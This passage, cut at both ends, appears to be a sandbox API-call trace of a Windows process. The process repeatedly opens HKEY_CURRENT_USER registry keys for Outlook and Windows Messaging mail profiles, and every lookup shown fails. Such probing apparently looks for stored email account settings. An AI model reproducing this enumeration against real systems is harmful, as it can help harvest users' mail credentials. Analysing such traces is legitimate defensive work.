hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.051] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Microsoft Outlook Internet Settings", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.051] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.052] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.053] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.054] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.055] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.056] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.056] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.057] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x201, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df330 | out: phkResult=0x54df330*=0x0) returned 0x2 [0096.058] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\11.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, 